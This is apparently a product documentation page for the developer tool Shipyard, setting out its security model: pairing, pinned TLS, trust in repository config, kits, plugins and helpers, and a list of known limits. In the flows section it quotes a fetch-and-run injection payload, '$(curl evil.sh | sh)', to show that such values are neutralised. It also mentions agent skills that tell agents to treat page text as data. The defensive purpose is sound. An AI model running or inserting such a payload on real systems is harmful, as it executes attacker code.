shipyarddocs
shipyarddocs

Concepts

Security model

Who Shipyard trusts and for what, how laptops and boxes prove who they are, what guards repository config, kits, flows and plugins, and what is still open.

Every connection in Shipyard is between two keys that have met before. Nothing on a box is reachable without a paired laptop, and nothing is public unless someone shares it. Inside that, Shipyard runs other people's code and data (a repository's config, a kit, a plugin, a pull request's comments), and asks before any of it runs.

Who is trusted with what

WhoWhat they can doWhat guards it
A paired laptopEverything the box's user can: start shells and agents, run commands, change config, upgrade berthdPairing (one code, used once), pinned keys, berthd revoke
Anything running as the box's user (agents, scripts, hooks)The same, through berthd's socket and ~/.berthNothing beyond the operating system: it is you on that box
Someone who can commit to a repository on a boxNothing, until you trust its .berth/config.json on that boxRepository trust, per content hash
A kit's authorNothing, until you apply the kit you reviewedKit review, pinned to a hash
A plugin's authorEverything the app can, once you allow the pluginPlugin consent, pinned to a hash
Whoever writes event data (a PR title, a review comment, a branch name, an agent's output)Text in your flows, never commandsHow flows fill in values
Someone with a box's phone tokenRead agents' screens and recent conversations and type into sessions on that box, from your tailnet; have it notify their phoneThe phone
The push relayThe notices it sends a phone: a box, worktree and session name, never what an agent wroteThe phone
The networkNothing: it sees encrypted traffic between pinned keysIdentity and transport

Pair only laptops you own, and only trust repositories, kits and plugins whose authors you would let run commands as you.

Identity and transport

Every installation has an Ed25519 key; its identity is the SHA-256 of the key's SubjectPublicKeyInfo. Certificates are regenerated on every start and carry no meaning beyond the key.

Connections are TLS 1.3 with mutual certificates. Each side accepts only the other's pinned key, never a certificate authority. On top, HTTP/2 multiplexes pings, API calls, TCP streams and terminals over one connection per box, with health pings to notice a connection that died silently.

An unpaired client can complete a handshake but only attempt pairing, which is rate limited per source address (with a larger limit across all of them), counting only failed attempts, so a stranger cannot lock you out of pairing from your own machine. Every other request is refused with the same answer, whatever the reason. A trust store that cannot be read authorizes nobody.

Pairing

  1. On the box, berthd pair stores a random 256-bit single-use code (ten minute expiry) and prints berth://HOST:PORT?code=…&fp=<box fingerprint>.
  2. The laptop connects to HOST:PORT and pins fp.
  3. The laptop proves it holds the code without sending it: an HMAC keyed by the code over TLS exported keying material (RFC 5705) and the laptop's own fingerprint, so the proof is bound to this session and this key.
  4. The box consumes the code under a file lock and pins the laptop's key.

The install script runs on the box itself and ends with step 1, so the laptop needs no SSH at all. berth add ssh HOST does all of this over one SSH session instead: it detects the box's platform, uploads the matching berthd, installs the service, and pairs. It checks box and network names before they reach an SSH command line, and a host key is trusted without asking only when you pass its fingerprint (--trust-host-key), which Set up in the app does for a tailnet machine whose key Tailscale reports.

On the box, berthd clients lists paired laptops and berthd revoke <name|fingerprint> stops trusting one. On the laptop, berth forget BOX removes a box.

Inviting another computer

A paired laptop can ask a box for a pairing code for another computer of the same person (berth invite, Settings → Computers). The box issues it over the laptop's own pinned connection, exactly as berthd pair would: one code, single use, ten minutes, consumed under the same lock and proven the same way (step 3), so the code still never crosses the network from the new computer. Asking runs the before:pairing.invite gate, is limited to ten codes per ten minutes per box, and announces pairing.invited with who asked, never the code; no box or laptop logs a code.

The laptop bundles one code per box into a join link with each box's addresses and fingerprint, which the new computer pins. It holds no key of the inviting laptop and no token. Whoever holds the link before it expires can pair with those boxes, so the app and CLI ask before making one and say so; see more than one computer. A link whose fingerprint was changed reaches no box (the handshake fails before any proof), and a used or expired code is refused like any other.

Revoking a laptop

berthd revoke removes a laptop's key, and the running daemon closes the shells, port streams and event streams it still had open: at once when berthd revoke runs on the box, otherwise within a second or two. Another paired laptop can do the same from Settings → Computers (DELETE /v1/clients/{name}, gated by before:client.revoke), which closes them at once; a laptop cannot remove itself that way.

Where berthd listens

By default berthd listens on the box's tailnet address only and refuses to start if there is none. Listening on the internet takes an explicit --listen 0.0.0.0:7444. berthd pair advertises the address it actually listens on.

Reaching other tailnets

A laptop's system Tailscale can be on only one tailnet. For boxes on another (a personal tailnet while the Mac is on a work one), the agent runs an embedded Tailscale node per named network (berth network login personal, a one-time browser sign-in). Each paired box records the network it is reached through; pairing, the agent's connections and add ssh all dial through it. Shipyard's own pinned TLS still runs on top: the tailnet only provides the route.

On the laptop

  • Private URLs. Every port on a box is reachable at http://<port>.<box>.localhost:1377/. All operating systems resolve *.localhost to loopback, so no DNS is involved. The proxy presents requests to the app as localhost:<port> and rewrites the app's own redirects back, so dev servers need no configuration. Unknown hosts are refused, which blocks DNS rebinding. Fixed-port forwards listen on both loopback addresses and refuse a port another program already holds on ::1, where localhost resolves first on macOS.
  • The app's API on 127.0.0.1:1378 takes a bearer token from a file only your user can read, checks the Host header, and allows only the app's own origins. The token travels in a header; only WebSocket upgrades, which a browser can't give headers, may carry it in the query string. See the app's API.
  • What the app runs. The packaged app starts the laptop agent only from the berth it carries (Contents/MacOS/berth-cli), and only while that is signed by the same Developer ID team as the app: never one on PATH, in ~/.local/bin or named by BERTH_CLI, where anything running as you could plant one. Only a dev build looks elsewhere. The same goes for Use this Mac: the agent installs only the app's own Contents/Resources/berthd, checked against the app's team before it is copied out, and the copy is checked again (codesign --verify) before launchd runs it. That box listens on 127.0.0.1 only.
  • Service keys. A Linear API key is kept by the laptop agent in a file only your user can read. The agent makes every call to Linear itself, a fixed set of reads and one write (a comment); the app's window, plugins and boxes are told who is connected, never the key.
  • SSH config. berth ssh-config --write writes a host per box for editors. The SSH user a box reports is checked against a strict pattern first, so a box can't add lines of its own to your SSH config.

Public shares

Sharing is opt-in, one port at a time (berth share BOX PORT). The box runs a Cloudflare quick tunnel, so a link survives the laptop sleeping. Shares end when revoked or when berthd stops or upgrades; none outlive the daemon that manages them. Agents' skills tell them never to share a port unless a person asked.

Releases and upgrades

  • The Mac app is signed with a Developer ID and notarized by Apple. Its updates come from the latest GitHub release, over HTTPS, and are installed only if they carry a valid signature from Shipyard's updater key, whose public half is built into the app. Nothing installs until you choose Restart to update.
  • berthd and the CLI from a release are checked against the release's checksums.txt by the install script. That catches a broken or truncated download, but the checksums come from the same release, so they don't prove who made it (see known limits).
  • berth upgrade BOX uploads the matching daemon over Shipyard's own connection. The box runs the upload once to check it starts and reads the box's own identity, swaps it in, and re-executes in place, keeping its PID so the supervisor sees no restart and sessions are untouched. Public shares stop first. The check catches a wrong build, not a malicious one: any paired laptop can replace berthd, as it can run any command there. A before:box.upgrade gate sees each upgrade.

Repository config

A repository's committed .berth/config.json holds commands: a setup script, services, hooks, flows, environment and agent commands. Anyone who can commit to a repository could otherwise run them on every box that has it. So a box runs none of that until someone trusts the file on that box, for that project, and only the exact bytes they saw (its SHA-256 hash): any change to the file waits to be trusted again. Until then only its port count applies, and the app shows what it wants to run (This repository wants to run …). From a terminal, berth location config BOX/LOC shows it and its hash, and --trust HASH or --untrust decide. A kit you apply and the box's own config are yours and need no trust. See trusting a repository's config.

Kits

A kit runs its scripts on the boxes you apply it to, so nothing in one runs until you have seen it:

  • Adding a kit shows everything it does and every file it carries, with a hash of all of it. What is kept is exactly what you saw: the link is fetched again when you confirm, and refused if it now hashes differently.
  • Applying is a separate step, and applying from the review goes ahead only while the kept copy still has the hash you reviewed.
  • On a box, a kit's files are written only inside its own folder, and before:kit.install and before:kit.remove gates can refuse them.

A review link, berth://review?repo=OWNER/NAME&pr=N, can come from anyone, so it carries no authority:

  • Read strictly. It names a repository ([A-Za-z0-9._-]+/[A-Za-z0-9._-]+) and a positive PR number, and at most a head commit, which only warns when it is not the head, a dev user to open it logged in as (used only when the project's trusted login lists them) and a page on the worktree's own address. Any other parameter, one given twice, or a value out of shape makes it no link: no command, file path, setting or variable is ever read from one.
  • Never run on open. Opening it shows the review sheet and nothing else. Nothing is fetched to a box or run until you press Review, which checks everything again; berth review asks unless given --yes.
  • Who. The repository must be one of your team setup's projects or already on one of your boxes. The PR is read with your own gh, so you see only what your account can, and it must be open, from a branch of that repository (not a fork), by a member, owner or collaborator.
  • The commit shown. The box fetches refs/pull/N/head and makes the worktree only if it is the commit you confirmed. A PR that moves on doesn't move the review; Update to latest asks again.
  • Setup from the team, never the PR. The kit and the .berth/config.json the box trusts, read from the main checkout, set it up; the PR's own .berth/ never runs, and git hooks are off while it is checked out. The sheet lists the files in the PR that touch setup.
  • Keys. The team's shared keys, as any worktree gets them; never your own (team.json's ask keys).
  • Contained and cleaned up. Its dev server is reachable only through the private URL, its sessions run in their own scopes, and it is removed when the PR is merged or closed or after 7 days unused, never with uncommitted changes without asking. Each step is in the box's journal.

Flows and event data

Flows run on events whose data can come from someone else: a pull request's title, a review comment, a branch name, an agent's output. That data is only ever text:

  • A run step's command never contains a value. Each variable is in the command's environment as $BERTH_FLOW_…, and {{event.body}} in a command becomes a quoted reference to it, so a comment of $(curl evil.sh | sh) is passed as those characters.
  • Values in a webhook's URL are percent-encoded, and values in its body JSON-escaped, so a value can't add a host, a path, a parameter or a field.
  • A secret's value never leaves in a webhook, a notification or a step's kept output: it shows as [secret].
  • Webhooks, phone notifications and turn check's requests reach only public addresses (notifications also your tailnet). Loopback, private, link-local, cloud metadata and other reserved addresses are refused, checked on the address actually dialled, redirects included, unless the box's owner allows them in ~/.berth/network.json on the box, which nothing in the API or a repository can change. See outbound requests.

Git and files on the box

  • Cloning a repository and fetching a kit allow only git's https, http, ssh and git transports, so a link can't use file:// to read a local repository or ext:: to run a command. (A kit can still come from a folder on your laptop, which is copied, not cloned.)
  • Installing Shipyard's skills into a repository refuses to follow symbolic links, so a repository can't redirect the write to a file elsewhere on the box.

Secrets and prompts

  • A project's environment can name secrets (op://… for 1Password, env://… for a variable in berthd's own environment) instead of holding them. Values are read when needed and kept in memory: sessions and services read theirs inside their own process (berthd secret exec), so a value is never on a command line. No value is written to disk, a log, an event or the API; see secrets.
  • A prompt typed into a session (berth session send, a flow's prompt step, the phone) never appears in events or logs: session.sent carries only the session's name, and agent tool hooks forward only identifiers and paths.
  • A first prompt is different: berth task new --prompt and a flow's start_agent put it on the agent's command line, so it is part of the session's command, which session.started, before:session.start and the sessions list carry (see known limits).
  • The offline queue keeps prompts on the laptop, in its state directory, and never puts them in an event.
  • Turn check, off by default, is the one time berthd sends a session's words off the box: each finished turn's last prompt (its first 4,000 characters) and the end of its reply and the session's title, to the provider you chose: Jev on Vercel AI Gateway (prompt training disallowed), OpenAI's Decisions API, or a Laya server you run, at the address set in turncheck.json. Before anything goes, what looks like a secret is replaced with what kind it was, by the same patterns that refuse an artifact; a turn that still holds one isn't sent. It is set from a paired laptop only: GET and PUT /v1/turncheck refuse the box's own socket, so an agent on the box can't read where turns go or send them elsewhere. Its key, pasted (kept in the state directory, 0600, one file per provider) or a secret reference, is never answered or logged, and goes only to the provider it was given for, at that provider's own URL: a URL in turncheck.json never changes where a key goes, and a Laya server gets none.

The phone

Each box can serve a small phone app on its tailnet address, off by default, with a token per box. Its threat model is on the phone page.

Gates

before: hooks on a box can refuse actions (creating worktrees, starting sessions, sending prompts, running exec, installing kits, changing config, replacing the hooks themselves), whoever asks: the app, the CLI, a flow, an agent or the phone. Every API route that changes something runs one; see the list.

A gate sees an origin the box can vouch for. A paired laptop is laptop:<name> and the phone is remote, whatever origin they claim; only a caller on the box's own socket names its tool. So a gate scoped to a tool lets that tool's own actions through only when the tool runs on the box. See hooks.

Gates are a convenience, not a security boundary: they keep agents and automations inside the lines you draw, but a paired laptop can already run commands on the box, and anything running as the box's user can edit ~/.berth/hooks.json.

Plugins

Desktop plugins run inside the app with its full access: its API token, every paired box, and the network. So a plugin you install never turns on by itself. The first time, the app shows what it can do and a hash of its code, and runs it only once you allow it; when its code changes, it is off until you allow it again. On a box, a plugin's hooks run only once the plugin is listed in the box's ~/.berth/plugins.json. See trust and consent.

A plugin's helper

A plugin can also bring a helper: a program berthd keeps running on a box, such as the one that records your dev servers' queries for Leadline. It is not sandboxed. A helper is a program that runs on the box as you, for as long as berthd runs, and can read and do there whatever your account can. Turning one on for a box is deciding to run its author's program on that box.

What Shipyard holds it to:

  • Only an allowed plugin gets one, and only when you turn it on, box by box. The plugin's manifest names the helper and the SHA-256 of its build for each platform, and the manifest is part of the hash you allowed. When the plugin changes, the permission lapses and its helper is not installed or updated until you allow it again.
  • A helper does not outlive its plugin. Turning the plugin off stops its helper and removes it from every paired box that has it, and keeps what it recorded there; removing the plugin removes that too. So does a change to the plugin that names another helper, or none. Your laptop does it, at once for the boxes it can reach and for an offline box when it next connects. The one helper left running without a plugin that is on is the helper of a plugin that changed and still names the very same program: it runs while Shipyard asks you about the new version, the plugin's row in Settings → Plugins says so, and Stop it there removes it. Removing a helper never needs the plugin to be allowed. See a helper does not outlive its plugin.
  • The program that runs is the one the manifest names. Your laptop downloads the build, from whatever address the manifest gives, and uploads it over Shipyard's own connection only if its size and SHA-256 match. berthd checks the bytes again before it keeps them, and checks the file again each time it starts it. A download that was tampered with or replaced at its address is never run.
  • It runs what the manifest says, where berthd put it. The program lives in its own folder under berthd's state directory, with a name and a version that cannot be a path. Its arguments are the manifest's alone. It gets a small environment, not berthd's own, so a token berthd was started with is not handed to it.
  • It is reached on loopback only. berthd relays the app's requests to the address the helper says it listens on, and refuses one that is not on the box itself. A request reaches the helper with its own loopback address as the Host and no Origin, so the helper can refuse every web page. Nothing of it is opened to the network.
  • A helper can answer berthd alone. Loopback is open to every user of the box. A helper that needs more than that writes a token in its ready file, which is in a folder only you can read, and berthd sends it with every request it makes of that helper: Authorization: Bearer, on what it relays and on its own calls. Whatever Authorization the app sent is taken off first. A helper that does not ask for a token is as open as loopback is: Leadline's recorded queries, traces and logs can be read by any user of the box, and by a page served from the box itself (a localhost page, such as the app you are developing; pages from anywhere else are refused). That is its trade-off for now, and why the database editor, below, does not share it.
  • What it can change about your dev servers is named in the manifest. Before a worktree's service starts, a helper may be shown, and may set, only the variables its manifest lists (attach_env): for Leadline the database URL and the OpenTelemetry variables. Variables that name a secret are never shown to it or replaced, a helper that is slow or failing changes nothing, and berthd logs none of it.
  • berthd reads a worktree's dotenv files for it, and only those. A variable in that list that Shipyard's own environment for the service does not have is taken from the worktree's .env, .env.development, .env.local and .env.development.local: when a service starts, and when a plugin's tab asks the box to look (POST helpers/{plugin}/attach-env). berthd reads those four names in the worktree's own folder and no other path, does not follow a link that leads out of the worktree, reads at most 256 KB of each, and runs nothing in them: a ${NAME} is filled in from the same files (and the service's own environment), never from berthd's. It keeps only the variables the manifest lists, never one that names a secret, and never reads a file when no helper is running to be told, or when the project already sets every variable the helper lists. No value goes into a log, an event or an API answer; the app is told file and variable names. What a helper answers for such a variable goes into the service's environment, as for any other: the worktree's files are never written. A look is a paired laptop's to ask, not something an agent on the box can trigger through berthd's socket, and a before:helper.attach gate can refuse it. A helper is a program running as you, which could read those files itself: this is what berthd does on its behalf, not a wall around the files.
  • Only a paired laptop installs one. berthd takes a helper from a laptop you paired, which is where the plugin was allowed. An agent or a script on the box, which reaches berthd through its socket, can list helpers and remove one, but cannot hand berthd a program to keep running.
  • The box's owner has the last word. berthd helpers lists what runs, berthd helper rm removes one, and a before:helper.install gate can refuse them all.

What the checksum does not do: it is not a signature, and says nothing about who built the program or whether it is safe. Whoever writes a plugin's manifest chooses the checksum in it, and whoever can change the listing a plugin is installed from can offer a manifest with another. What stands between that and your box is the consent dialog, which is for exactly the manifest you saw.

The database editor

The Database plugin's helper, berth-database, can read and change a worktree's development database, so it is held tighter than a helper that only records:

  • Only berthd may ask it. Every route but its health check needs the token it writes in its ready file (mode 0600, new at every start). A request with an Origin, from any page, is refused whatever it carries. So the way in is the one the app uses: your paired laptop, to berthd, to the helper.
  • Only a database on the box itself. It opens what berthd says a worktree has (DATABASE_URL, POSTGRES_URL), and only when that is a loopback address or a unix socket; it checks the address again when it connects. A remote or shared database is passed over, whoever names it: a service, a .env, or an address pasted in the app.
  • berthd reads the worktree's dotenv files on request. A worktree's address comes from the environment of a service Shipyard starts, or from the worktree's own .env files, which berthd reads on the box when you open the worktree's Database tab (and again when you ask it to look again). The app names a location and a worktree the box already knows, never a path; berthd reads .env, .env.development, .env.local and .env.development.local in that worktree's folder, hands the helper those two variables and nothing else of the files, and answers the app with the files' and variables' names. See what berthd reads for a helper.
  • An address you paste is kept like the others. When nothing says which database a worktree has, Connect a database… takes its address. It travels once, in the body of a request from the app to berthd over Shipyard's own connection, and from berthd to the helper on loopback. berthd does not log it, announce it, answer with it or keep it; a before:helper.attach gate is told which helper and which worktree, not the address. The helper keeps it in connections.json beside the ones it was told of, under the same file mode, and it goes the same ways: with the worktree, when you forget the connection, or with the helper's data. The app keeps the id of the connection it became, never the address, and does not show it again. The local-only rule is the helper's and is unchanged: a pasted address that is not on the box is passed over, and nothing is kept.
  • Nothing is written unless you turn writes on, for one database, for 15 minutes. Until then every statement runs in a transaction the database itself holds read-only; the switch is in the helper's memory, checked against its own clock, and is off again after a restart. A statement is stopped after 10 seconds, and answers are capped in rows and bytes.
  • It keeps the database's URL, with its password, on the box: helpers/database/data/connections.json, mode 0600 in a folder that is 0700. berthd tells a helper which database a worktree has when a service starts or when its tab is opened, so without the file the editor would be empty after every berthd restart until then. It holds what your project's own configuration already holds on that disk, for the same user. A worktree's entry is removed when the worktree is detached from the helper, and the file goes when the helper is removed with its data (berthd helper rm database --purge). A URL that names a secret is never shown to a helper, so such a database does not appear in the editor.
  • Its log has shapes, not values. Each edit and each statement run with writes on is logged: the worktree, the table and columns or the statement with every string and number replaced by ?, and the row counts. Never a cell's value, a password, a URL or the token.
  • It does not go through Leadline. With both helpers on, the editor connects to the database directly, not through Leadline's recording proxy: what you run in the editor is not recorded as your app's queries.

What this does not protect against: a program running as you on the box (an agent in a worktree, a script) can read the ready file, or ask berthd, which adds the token for it; and it could read the project's configuration and open the database itself. Read-only is Postgres's READ ONLY transaction: it stops writes to the database, not everything a superuser role can do from a statement, so the editor is for a development database and not a sandbox for untrusted SQL.

The agent browser

An agent's browser runs on the box, never on the laptop: it has none of your cookies, it is not the app's own web view, and its profile is thrown away when it closes. Its only way out is a proxy inside berthd that lets it reach the worktree's own pages and port block, and public origins the box's owner allows (or a trusted repository config asks for), dialled through the same private-address check as webhooks. Other worktrees, berthd, databases, private ranges, metadata endpoints and the internet are refused. berthd drives it over a pipe, so there is no debugging port for other processes to attach to. Opening, scripting, watching and widening it go through before:browser.* gates. See agent browser.

Known limits

  • An agent's browser can be talked to by its page. Page text reaches the agent; the skill tells agents to treat it as data, but a model can still be misled by it. The proxy keeps what the page can make the browser reach to the worktree's own origins.
  • Plugins are not sandboxed. Consent decides whether a plugin runs, not what it can do once it runs. Running each plugin in an isolated view with only the capabilities it asks for is planned.
  • Gate origins on the box are claimed, not proven. A caller on berthd's own socket names its own origin (--origin, BERTH_ORIGIN), so anything running as the box's user can pass a gate scoped to a tool. That is the same user who can edit the hooks.
  • First prompts and plain environment values are on command lines. A first prompt is in the agent's command ($SHELL -lc "claude '…'"), and the project's plain env values are passed to tmux as -e KEY=VALUE, so other processes on the box can see them, for instance with ps. Secret references (op://, env://) are not: they are resolved inside the session. Keep anything sensitive in a secret reference.
  • Release archives are not signed. checksums.txt proves a download is intact, not who published it, and berth upgrade trusts the laptop that sends the binary. Signed checksums and signed daemon upgrades are planned.
  • The tailnet address is found by its range. berthd listens on the first address in 100.64.0.0/10, Tailscale's range. On a network that also uses that range for carrier-grade NAT, check where it listens with berthd doctor.
  • *.localhost cookies are shared. A dev server that sets a cookie for localhost itself makes it visible to every other private URL in your browser, across worktrees and boxes.
  • Handshake flooding. Pairing is rate limited; TLS handshakes are not.
  • Not yet reviewed independently. The pairing protocol and the surface before authentication should have an outside review before teammates rely on them.
  • One person per box. Team sharing (one box used by several people, and granting and revoking their access beyond per-laptop pairing), Windows, and dropping the proxy port with a privileged helper are open.

Ready to pair? Add a box.

On this page